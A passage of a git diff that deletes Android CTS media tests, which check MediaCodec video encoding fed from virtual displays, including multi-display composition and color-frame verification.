-import android.util.DisplayMetrics;
-import android.util.Log;
-import android.view.Display;
-import android.view.Surface;
-import android.view.ViewGroup.LayoutParams;
-import android.view.WindowManager;
-import android.widget.ImageView;
-
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests connecting a virtual display to the input of a MediaCodec encoder.
- * <p>
- * Other test cases exercise these independently in more depth.  The goal here is to make sure
- * that virtual displays and MediaCodec can be used together.
- * <p>
- * We can't control frame-by-frame what appears on the virtual display, because we're
- * just throwing a Presentation and a View at it.  Further, it's possible that frames
- * will be dropped if they arrive faster than they are consumed, so any given frame
- * may not appear at all.  We can't wait for a series of actions to complete by watching
- * the output, because the frames are going directly to the encoder, and the encoder may
- * collect a number of frames before producing output.
- * <p>
- * The test puts up a series of colored screens, expecting to see all of them, and in order.
- * Any black screens that appear before or after are ignored.
- */
-@Presubmit
-@SmallTest
-@RequiresDevice
-public class EncodeVirtualDisplayTest extends AndroidTestCase {
-    private static final String TAG = "EncodeVirtualTest";
-    private static final boolean VERBOSE = false;           // lots of logging
-    private static final boolean DEBUG_SAVE_FILE = false;   // save copy of encoded movie
-    private static final String DEBUG_FILE_NAME_BASE = "/sdcard/test.";
-
-    // Encoder parameters table, sort by encoder level from high to low.
-    private static final int[][] ENCODER_PARAM_TABLE = {
-        // width,  height,  bitrate,    framerate  /* level */
-        { 1280,     720,    14000000,   30 },  /* AVCLevel31 */
-        {  720,     480,    10000000,   30 },  /* AVCLevel3  */
-        {  720,     480,    4000000,    15 },  /* AVCLevel22 */
-        {  352,     576,    4000000,    25 },  /* AVCLevel21 */
-    };
-
-    // Virtual display characteristics.  Scaled down from full display size because not all
-    // devices can encode at the resolution of their own display.
-    private static final String NAME = TAG;
-    private static int sWidth = ENCODER_PARAM_TABLE[ENCODER_PARAM_TABLE.length-1][0];
-    private static int sHeight = ENCODER_PARAM_TABLE[ENCODER_PARAM_TABLE.length-1][1];
-    private static final int DENSITY = DisplayMetrics.DENSITY_HIGH;
-    private static final int UI_TIMEOUT_MS = 2000;
-    private static final int UI_RENDER_PAUSE_MS = 400;
-
-    // Encoder parameters.  We use the same width/height as the virtual display.
-    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static int sFrameRate = 15;               // 15fps
-    // 100 days between I-frames
-    private static final int IFRAME_INTERVAL = 60 * 60 * 24 * 100;
-    private static int sBitRate = 6000000;            // 6Mbps
-
-    // Colors to test (RGB).  These must convert cleanly to and from BT.601 YUV.
-    private static final int TEST_COLORS[] = {
-        makeColor(0, 0, 0),             // YCbCr 16,128,128
-        makeColor(10, 100, 200),        // YCbCr 89,186,82
-        makeColor(100, 200, 10),        // YCbCr 144,60,98
-        makeColor(200, 10, 100),        // YCbCr 203,10,103
-        makeColor(10, 200, 100),        // YCbCr 130,113,52
-        makeColor(100, 10, 200),        // YCbCr 67,199,154
-        makeColor(200, 100, 10),        // YCbCr 119,74,179
-    };
-
-    private final ByteBuffer mPixelBuf = ByteBuffer.allocateDirect(4);
-    private Handler mUiHandler;                             // Handler on main Looper
-    private DisplayManager mDisplayManager;
-    volatile boolean mInputDone;
-
-    /* TEST_COLORS static initialization; need ARGB for ColorDrawable */
-    private static int makeColor(int red, int green, int blue) {
-        return 0xff << 24 | (red & 0xff) << 16 | (green & 0xff) << 8 | (blue & 0xff);
-    }
-
-    private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mUiHandler = new Handler(Looper.getMainLooper());
-        mDisplayManager = (DisplayManager)mContext.getSystemService(Context.DISPLAY_SERVICE);
-        setupEncoderParameters();
-    }
-
-    /**
-     * Basic test.
-     *
-     * @throws Exception
-     */
-    public void testEncodeVirtualDisplay() throws Throwable {
-
-        if (!MediaUtils.check(sIsAtLeastR, "test needs Android 11")) return;
-
-        EncodeVirtualWrapper.runTest(this);
-    }
-
-    /**
-     * Wraps encodeVirtualTest, running it in a new thread.  Required because of the way
-     * SurfaceTexture.OnFrameAvailableListener works when the current thread has a Looper
-     * configured.
-     */
-    private static class EncodeVirtualWrapper implements Runnable {
-        private Throwable mThrowable;
-        private EncodeVirtualDisplayTest mTest;
-
-        private EncodeVirtualWrapper(EncodeVirtualDisplayTest test) {
-            mTest = test;
-        }
-
-        @Override
-        public void run() {
-            try {
-                mTest.encodeVirtualDisplayTest();
-            } catch (Throwable th) {
-                mThrowable = th;
-            }
-        }
-
-        /** Entry point. */
-        public static void runTest(EncodeVirtualDisplayTest obj) throws Throwable {
-            EncodeVirtualWrapper wrapper = new EncodeVirtualWrapper(obj);
-            Thread th = new Thread(wrapper, "codec test");
-            th.start();
-            th.join();
-            if (wrapper.mThrowable != null) {
-                throw wrapper.mThrowable;
-            }
-        }
-    }
-
-    /**
-     * Returns true if the encoder level, specified in the ENCODER_PARAM_TABLE, can be supported.
-     */
-    private static boolean verifySupportForEncoderLevel(int i) {
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaFormat format = MediaFormat.createVideoFormat(
-                MIME_TYPE, ENCODER_PARAM_TABLE[i][0], ENCODER_PARAM_TABLE[i][1]);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, ENCODER_PARAM_TABLE[i][2]);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, ENCODER_PARAM_TABLE[i][3]);
-        return mcl.findEncoderForFormat(format) != null;
-    }
-
-    /**
-     * Initialize the encoder parameters according to the device capability.
-     */
-    private static void setupEncoderParameters() {
-
-        // Loop over each tabel entry until a proper encoder setting is found.
-        for (int i = 0; i < ENCODER_PARAM_TABLE.length; i++) {
-
-            // Check if we can support it?
-            if (verifySupportForEncoderLevel(i)) {
-
-                sWidth = ENCODER_PARAM_TABLE[i][0];
-                sHeight = ENCODER_PARAM_TABLE[i][1];
-                sBitRate = ENCODER_PARAM_TABLE[i][2];
-                sFrameRate = ENCODER_PARAM_TABLE[i][3];
-
-                Log.d(TAG, "encoder parameters changed: width = " + sWidth + ", height = " + sHeight
-                    + ", bitrate = " + sBitRate + ", framerate = " + sFrameRate);
-                break;
-            }
-        }
-    }
-
-    /**
-     * Prepares the encoder, decoder, and virtual display.
-     */
-    private void encodeVirtualDisplayTest() throws IOException {
-        MediaCodec encoder = null;
-        MediaCodec decoder = null;
-        OutputSurface outputSurface = null;
-        VirtualDisplay virtualDisplay = null;
-
-        try {
-            // Encoded video resolution matches virtual display.
-            MediaFormat encoderFormat = MediaFormat.createVideoFormat(MIME_TYPE, sWidth, sHeight);
-            encoderFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-            encoderFormat.setInteger(MediaFormat.KEY_BIT_RATE, sBitRate);
-            encoderFormat.setInteger(MediaFormat.KEY_FRAME_RATE, sFrameRate);
-            encoderFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-            encoderFormat.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
-            encoderFormat.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
-            encoderFormat.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-            String codec = mcl.findEncoderForFormat(encoderFormat);
-            if (codec == null) {
-                // Don't run the test if the codec isn't present.
-                Log.i(TAG, "SKIPPING test: no support for " + encoderFormat);
-                return;
-            }
-
-            encoder = MediaCodec.createByCodecName(codec);
-            encoder.configure(encoderFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            Surface inputSurface = encoder.createInputSurface();
-            encoder.start();
-
-            // Create a virtual display that will output to our encoder.
-            virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
-                    sWidth, sHeight, DENSITY, inputSurface, 0);
-
-            // We also need a decoder to check the output of the encoder.
-            decoder = MediaCodec.createDecoderByType(MIME_TYPE);
-            MediaFormat decoderFormat = MediaFormat.createVideoFormat(MIME_TYPE, sWidth, sHeight);
-            outputSurface = new OutputSurface(sWidth, sHeight);
-            decoder.configure(decoderFormat, outputSurface.getSurface(), null, 0);
-            decoder.start();
-
-            // Run the color slide show on a separate thread.
-            mInputDone = false;
-            new ColorSlideShow(virtualDisplay.getDisplay()).start();
-
-            // Record everything we can and check the results.
-            doTestEncodeVirtual(encoder, decoder, outputSurface);
-
-        } finally {
-            if (VERBOSE) Log.d(TAG, "releasing codecs, surfaces, and virtual display");
-            if (virtualDisplay != null) {
-                virtualDisplay.release();
-            }
-            if (outputSurface != null) {
-                outputSurface.release();
-            }
-            if (encoder != null) {
-                encoder.stop();
-                encoder.release();
-            }
-            if (decoder != null) {
-                decoder.stop();
-                decoder.release();
-            }
-        }
-    }
-
-    /**
-     * Drives the encoder and decoder.
-     */
-    private void doTestEncodeVirtual(MediaCodec encoder, MediaCodec decoder,
-            OutputSurface outputSurface) {
-        final int TIMEOUT_USEC = 10000;
-        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
-        ByteBuffer[] decoderInputBuffers = decoder.getInputBuffers();
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        boolean inputEosSignaled = false;
-        int lastIndex = -1;
-        int goodFrames = 0;
-        int debugFrameCount = 0;
-
-        // Save a copy to disk.  Useful for debugging the test.
-        MediaMuxer muxer = null;
-        int trackIndex = -1;
-        if (DEBUG_SAVE_FILE) {
-            String fileName = DEBUG_FILE_NAME_BASE + sWidth + "x" + sHeight + ".mp4";
-            try {
-                muxer = new MediaMuxer(fileName, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-                Log.d(TAG, "encoded output will be saved as " + fileName);
-            } catch (IOException ioe) {
-                Log.w(TAG, "Unable to create debug output file " + fileName);
-                throw new RuntimeException(ioe);
-            }
-        }
-
-        // Loop until the output side is done.
-        boolean encoderDone = false;
-        boolean outputDone = false;
-        while (!outputDone) {
-            if (VERBOSE) Log.d(TAG, "loop");
-
-            if (!inputEosSignaled && mInputDone) {
-                if (VERBOSE) Log.d(TAG, "signaling input EOS");
-                encoder.signalEndOfInputStream();
-                inputEosSignaled = true;
-            }
-
-            boolean decoderOutputAvailable = true;
-            boolean encoderOutputAvailable = !encoderDone;
-            while (decoderOutputAvailable || encoderOutputAvailable) {
-                // Start by draining any pending output from the decoder.  It's important to
-                // do this before we try to stuff any more data in.
-                int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // no output available yet
-                    if (VERBOSE) Log.d(TAG, "no output from decoder available");
-                    decoderOutputAvailable = false;
-                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    if (VERBOSE) Log.d(TAG, "decoder output buffers changed (but we don't care)");
-                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    // this happens before the first frame is returned
-                    MediaFormat decoderOutputFormat = decoder.getOutputFormat();
-                    if (VERBOSE) Log.d(TAG, "decoder output format changed: " +
-                            decoderOutputFormat);
-                } else if (decoderStatus < 0) {
-                    fail("unexpected result from deocder.dequeueOutputBuffer: " + decoderStatus);
-                } else {  // decoderStatus >= 0
-                    if (VERBOSE) Log.d(TAG, "surface decoder given buffer " + decoderStatus +
-                            " (size=" + info.size + ")");
-                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                        if (VERBOSE) Log.d(TAG, "output EOS");
-                        outputDone = true;
-                    }
-
-                    // The ByteBuffers are null references, but we still get a nonzero size for
-                    // the decoded data.
-                    boolean doRender = (info.size != 0);
-
-                    // As soon as we call releaseOutputBuffer, the buffer will be forwarded
-                    // to SurfaceTexture to convert to a texture.  The API doesn't guarantee
-                    // that the texture will be available before the call returns, so we
-                    // need to wait for the onFrameAvailable callback to fire.  If we don't
-                    // wait, we risk dropping frames.
-                    outputSurface.makeCurrent();
-                    decoder.releaseOutputBuffer(decoderStatus, doRender);
-                    if (doRender) {
-                        if (VERBOSE) Log.d(TAG, "awaiting frame " + (lastIndex+1));
-                        outputSurface.awaitNewImage();
-                        outputSurface.drawImage();
-                        int foundIndex = checkSurfaceFrame();
-                        if (foundIndex == lastIndex + 1) {
-                            // found the next one in the series
-                            lastIndex = foundIndex;
-                            goodFrames++;
-                        } else if (foundIndex == lastIndex) {
-                            // Sometimes we see the same color two frames in a row.
-                            if (VERBOSE) Log.d(TAG, "Got another " + lastIndex);
-                        } else if (foundIndex > 0) {
-                            // Looks like we missed a color frame.  It's possible something
-                            // stalled and we dropped a frame.  Skip forward to see if we
-                            // can catch the rest.
-                            if (foundIndex < lastIndex) {
-                                Log.w(TAG, "Ignoring backward skip from " +
-                                    lastIndex + " to " + foundIndex);
-                            } else {
-                                Log.w(TAG, "Frame skipped, advancing lastIndex from " +
-                                        lastIndex + " to " + foundIndex);
-                                goodFrames++;
-                                lastIndex = foundIndex;
-                            }
-                        }
-                    }
-                }
-                if (decoderStatus != MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    // Continue attempts to drain output.
-                    continue;
-                }
-
-                // Decoder is drained, check to see if we've got a new buffer of output from
-                // the encoder.
-                if (!encoderDone) {
-                    int encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
-                    if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                        // no output available yet
-                        if (VERBOSE) Log.d(TAG, "no output from encoder available");
-                        encoderOutputAvailable = false;
-                    } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                        // not expected for an encoder
-                        encoderOutputBuffers = encoder.getOutputBuffers();
-                        if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
-                    } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                        // received before first buffer
-                        MediaFormat newFormat = encoder.getOutputFormat();
-                        if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
-                        if (muxer != null && trackIndex == -1) {
-                            trackIndex = muxer.addTrack(newFormat);
-                            muxer.start();
-                        }
-                    } else if (encoderStatus < 0) {
-                        fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
-                    } else { // encoderStatus >= 0
-                        ByteBuffer encodedData = encoderOutputBuffers[encoderStatus];
-                        if (encodedData == null) {
-                            fail("encoderOutputBuffer " + encoderStatus + " was null");
-                        }
-
-                        // It's usually necessary to adjust the ByteBuffer values to match BufferInfo.
-                        encodedData.position(info.offset);
-                        encodedData.limit(info.offset + info.size);
-
-                        if (muxer != null) {
-                            muxer.writeSampleData(trackIndex, encodedData, info);
-                            debugFrameCount++;
-                        }
-
-                        // Get a decoder input buffer, blocking until it's available.  We just
-                        // drained the decoder output, so we expect there to be a free input
-                        // buffer now or in the near future (i.e. this should never deadlock
-                        // if the codec is meeting requirements).
-                        //
-                        // The first buffer of data we get will have the BUFFER_FLAG_CODEC_CONFIG
-                        // flag set; the decoder will see this and finish configuring itself.
-                        int inputBufIndex = decoder.dequeueInputBuffer(-1);
-                        ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
-                        inputBuf.clear();
-                        inputBuf.put(encodedData);
-                        decoder.queueInputBuffer(inputBufIndex, 0, info.size,
-                                info.presentationTimeUs, info.flags);
-
-                        // If everything from the encoder has been passed to the decoder, we
-                        // can stop polling the encoder output.  (This just an optimization.)
-                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                            encoderDone = true;
-                            encoderOutputAvailable = false;
-                        }
-                        if (VERBOSE) Log.d(TAG, "passed " + info.size + " bytes to decoder"
-                                + (encoderDone ? " (EOS)" : ""));
-
-                        encoder.releaseOutputBuffer(encoderStatus, false);
-                    }
-                }
-            }
-        }
-
-        if (muxer != null) {
-            muxer.stop();
-            muxer.release();
-            if (VERBOSE) Log.d(TAG, "Wrote " + debugFrameCount + " frames");
-        }
-
-        if (goodFrames != TEST_COLORS.length) {
-            fail("Found " + goodFrames + " of " + TEST_COLORS.length + " expected frames");
-        }
-    }
-
-    /**
-     * Checks the contents of the current EGL surface to see if it matches expectations.
-     * <p>
-     * The surface may be black or one of the colors we've drawn.  We have sufficiently little
-     * control over the rendering process that we don't know how many (if any) black frames
-     * will appear between each color frame.
-     * <p>
-     * @return the color index, or -2 for black
-     * @throw RuntimeException if the color isn't recognized (probably because the RGB<->YUV
-     *     conversion introduced too much variance)
-     */
-    private int checkSurfaceFrame() {
-        boolean frameFailed = false;
-
-        // Read a pixel from the center of the surface.  Might want to read from multiple points
-        // and average them together.
-        int x = sWidth / 2;
-        int y = sHeight / 2;
-        GLES20.glReadPixels(x, y, 1, 1, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, mPixelBuf);
-        int r = mPixelBuf.get(0) & 0xff;
-        int g = mPixelBuf.get(1) & 0xff;
-        int b = mPixelBuf.get(2) & 0xff;
-        if (VERBOSE) Log.d(TAG, "GOT: r=" + r + " g=" + g + " b=" + b);
-
-        // Walk through the color list and try to find a match.  These may have gone through
-        // RGB<->YCbCr conversions, so don't expect exact matches.
-        for (int i = 0; i < TEST_COLORS.length; i++) {
-            int testRed = (TEST_COLORS[i] >> 16) & 0xff;
-            int testGreen = (TEST_COLORS[i] >> 8) & 0xff;
-            int testBlue = TEST_COLORS[i] & 0xff;
-            if (approxEquals(testRed, r) && approxEquals(testGreen, g) &&
-                    approxEquals(testBlue, b)) {
-                if (VERBOSE) Log.d(TAG, "Matched color " + i + ": r=" + r + " g=" + g + " b=" + b);
-                return i;
-            }
-        }
-
-        throw new RuntimeException("No match for color r=" + r + " g=" + g + " b=" + b);
-    }
-
-    /**
-     * Determines if two color values are approximately equal.
-     */
-    private static boolean approxEquals(int expected, int actual) {
-        final int MAX_DELTA = 7;
-        return Math.abs(expected - actual) <= MAX_DELTA;
-    }
-
-    /**
-     * Creates a series of colorful Presentations on the specified Display.
-     */
-    private class ColorSlideShow extends Thread {
-        private Display mDisplay;
-
-        public ColorSlideShow(Display display) {
-            mDisplay = display;
-        }
-
-        @Override
-        public void run() {
-            for (int testColor : TEST_COLORS) {
-                showPresentation(testColor);
-            }
-
-            if (VERBOSE) Log.d(TAG, "slide show finished");
-            mInputDone = true;
-        }
-
-        private void showPresentation(final int color) {
-            final TestPresentation[] presentation = new TestPresentation[1];
-            final CountDownLatch latch = new CountDownLatch(1);
-            try {
-                runOnUiThread(() -> {
-                    // Want to create presentation on UI thread so it finds the right Looper
-                    // when setting up the Dialog.
-                    presentation[0] = new TestPresentation(getContext(), mDisplay, color);
-                    if (VERBOSE) Log.d(TAG, "showing color=0x" + Integer.toHexString(color));
-                    presentation[0].show();
-                    latch.countDown();
-                });
-
-                // Give the presentation an opportunity to render.  We don't have a way to
-                // monitor the output, so we just sleep for a bit.
-                try {
-                    // wait for the UI thread execution to finish
-                    latch.await(5, TimeUnit.SECONDS);
-                    Thread.sleep(UI_RENDER_PAUSE_MS);
-                } catch (InterruptedException ignore) {
-                }
-            } finally {
-                if (presentation[0] != null) {
-                    presentation[0].dismiss();
-                    presentation[0] = null;
-                }
-            }
-        }
-    }
-
-    /**
-     * Executes a runnable on the UI thread, and waits for it to complete.
-     */
-    private void runOnUiThread(Runnable runnable) {
-        Runnable waiter = new Runnable() {
-            @Override
-            public void run() {
-                synchronized (this) {
-                    notifyAll();
-                }
-            }
-        };
-        synchronized (waiter) {
-            mUiHandler.post(runnable);
-            mUiHandler.post(waiter);
-            try {
-                waiter.wait(UI_TIMEOUT_MS);
-            } catch (InterruptedException ex) {
-            }
-        }
-    }
-
-    /**
-     * Presentation we can show on a virtual display.  The view is set to a single color value.
-     */
-    private class TestPresentation extends Presentation {
-        private final int mColor;
-
-        public TestPresentation(Context context, Display display, int color) {
-            super(context, display);
-            mColor = color;
-        }
-
-        @Override
-        protected void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-
-            setTitle("Encode Virtual Test");
-
-            // Create a solid color image to use as the content of the presentation.
-            ImageView view = new ImageView(getContext());
-            view.setImageDrawable(new ColorDrawable(mColor));
-            view.setLayoutParams(new LayoutParams(
-                    LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));
-            setContentView(view);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
deleted file mode 100644
index de54f12..0000000
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaFormat;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.filters.SmallTest;
-
-/**
- * Tests to check if MediaCodec encoding works with composition of multiple virtual displays
- * The test also tries to destroy and create virtual displays repeatedly to
- * detect any issues. The test itself does not check the output as it is already done in other
- * tests.
- */
-@SmallTest
-@RequiresDevice
-@NonMediaMainlineTest           // exercises hw codecs, fails in windowing on pure older releases
-public class EncodeVirtualDisplayWithCompositionTest extends AndroidTestCase {
-    private static final String TAG = "EncodeVirtualDisplayWithCompositionTest";
-    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
-
-    private final EncodeVirtualDisplayWithCompositionTestImpl mImpl =
-            new EncodeVirtualDisplayWithCompositionTestImpl();
-
-    public void testVirtualDisplayRecycles() throws Exception {
-        mImpl.doTestVirtualDisplayRecycles(getContext(), 3);
-    }
-
-    @Presubmit
-    public void testRendering800x480Locally() throws Throwable {
-        Log.i(TAG, "testRendering800x480Locally");
-        if (mImpl.isConcurrentEncodingDecodingSupported(
-                MIME_TYPE, 800, 480, mImpl.BITRATE_800x480)) {
-            mImpl.runTestRenderingInSeparateThread(
-                    getContext(), MIME_TYPE, 800, 480, false, false);
-        } else {
-            Log.i(TAG, "SKIPPING testRendering800x480Locally(): codec not supported");
-        }
-    }
-
-    @Presubmit
-    public void testRenderingMaxResolutionLocally() throws Throwable {
-        Log.i(TAG, "testRenderingMaxResolutionLocally");
-        Size maxRes = mImpl.checkMaxConcurrentEncodingDecodingResolution();
-        if (maxRes == null) {
-            Log.i(TAG, "SKIPPING testRenderingMaxResolutionLocally(): codec not supported");
-        } else {
-            Log.w(TAG, "Trying resolution " + maxRes);
-            mImpl.runTestRenderingInSeparateThread(
-                    getContext(), MIME_TYPE, maxRes.getWidth(), maxRes.getHeight(), false, false);
-        }
-    }
-
-    @Presubmit
-    public void testRendering800x480Remotely() throws Throwable {
-        Log.i(TAG, "testRendering800x480Remotely");
-        if (mImpl.isConcurrentEncodingDecodingSupported(
-                MIME_TYPE, 800, 480, mImpl.BITRATE_800x480)) {
-            mImpl.runTestRenderingInSeparateThread(getContext(), MIME_TYPE, 800, 480, true, false);
-        } else {
-            Log.i(TAG, "SKIPPING testRendering800x480Remotely(): codec not supported");
-        }
-    }
-
-    @Presubmit
-    public void testRenderingMaxResolutionRemotely() throws Throwable {
-        Log.i(TAG, "testRenderingMaxResolutionRemotely");
-        Size maxRes = mImpl.checkMaxConcurrentEncodingDecodingResolution();
-        if (maxRes == null) {
-            Log.i(TAG, "SKIPPING testRenderingMaxResolutionRemotely(): codec not supported");
-        } else {
-            Log.w(TAG, "Trying resolution " + maxRes);
-            mImpl.runTestRenderingInSeparateThread(
-                    getContext(), MIME_TYPE, maxRes.getWidth(), maxRes.getHeight(), true, false);
-        }
-    }
-
-    @Presubmit
-    public void testRendering800x480RemotelyWith3Windows() throws Throwable {
-        Log.i(TAG, "testRendering800x480RemotelyWith3Windows");
-        if (mImpl.isConcurrentEncodingDecodingSupported(
-                MIME_TYPE, 800, 480, mImpl.BITRATE_800x480)) {
-            mImpl.runTestRenderingInSeparateThread(getContext(), MIME_TYPE, 800, 480, true, true);
-        } else {
-            Log.i(TAG, "SKIPPING testRendering800x480RemotelyWith3Windows(): codec not supported");
-        }
-    }
-
-    @Presubmit
-    public void testRendering800x480LocallyWith3Windows() throws Throwable {
-        Log.i(TAG, "testRendering800x480LocallyWith3Windows");
-        if (mImpl.isConcurrentEncodingDecodingSupported(
-                MIME_TYPE, 800, 480, mImpl.BITRATE_800x480)) {
-            mImpl.runTestRenderingInSeparateThread(getContext(), MIME_TYPE, 800, 480, false, true);
-        } else {
-            Log.i(TAG, "SKIPPING testRendering800x480LocallyWith3Windows(): codec not supported");
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
deleted file mode 100644
index 47b9379..0000000
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ /dev/null
@@ -1,1589 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Presentation;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.graphics.SurfaceTexture;
-import android.graphics.drawable.ColorDrawable;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.media.cts.R;
-import android.opengl.GLES11Ext;
-import android.opengl.GLES20;
-import android.opengl.Matrix;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Parcel;
-import android.platform.test.annotations.RequiresDevice;
-import android.util.Log;
-import android.util.Size;
-import android.view.Display;
-import android.view.Surface;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.ViewGroup.LayoutParams;
-import android.view.WindowManager;
-import android.widget.FrameLayout;
-import android.widget.ImageView;
-import android.widget.TableLayout;
-import android.widget.TableRow;
-
-import androidx.test.filters.SmallTest;
-
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.nio.FloatBuffer;
-import java.nio.IntBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-/**
- * Impl class for tests using MediaCodec encoding with composition of multiple virtual displays.
- */
-public class EncodeVirtualDisplayWithCompositionTestImpl {
-    private static final String TAG = "EncodeVirtualDisplayWithCompositionTestImpl";
-    private static final boolean DBG = false;
-    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
-
-    private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;  // 10 seconds
-    private static final long DEQUEUE_TIMEOUT_US = 3000000;  // 3 seconds
-
-    private static final int COLOR_RED =  makeColor(100, 0, 0);
-    private static final int COLOR_GREEN =  makeColor(0, 100, 0);
-    private static final int COLOR_BLUE =  makeColor(0, 0, 100);
-    private static final int COLOR_GREY =  makeColor(100, 100, 100);
-
-    static final int BITRATE_1080p = 20000000;
-    static final int BITRATE_720p = 14000000;
-    static final int BITRATE_800x480 = 14000000;
-    static final int BITRATE_DEFAULT = 10000000;
-
-    private static final int IFRAME_INTERVAL = 10;
-
-    private static final int MAX_NUM_WINDOWS = 3;
-
-    private static Handler sHandlerForRunOnMain = new Handler(Looper.getMainLooper());
-
-    private Surface mEncodingSurface;
-    private OutputSurface mDecodingSurface;
-    private volatile boolean mCodecConfigReceived = false;
-    private volatile boolean mCodecBufferReceived = false;
-    private EncodingHelper mEncodingHelper;
-    private MediaCodec mDecoder;
-    private final ByteBuffer mPixelBuf = ByteBuffer.allocateDirect(4);
-    private volatile boolean mIsQuitting = false;
-    private Throwable mTestException;
-    private VirtualDisplayPresentation mLocalPresentation;
-    private RemoteVirtualDisplayPresentation mRemotePresentation;
-    private ByteBuffer[] mDecoderInputBuffers;
-
-    /** event listener for test without verifying output */
-    private EncoderEventListener mEncoderEventListener = new EncoderEventListener() {
-        @Override
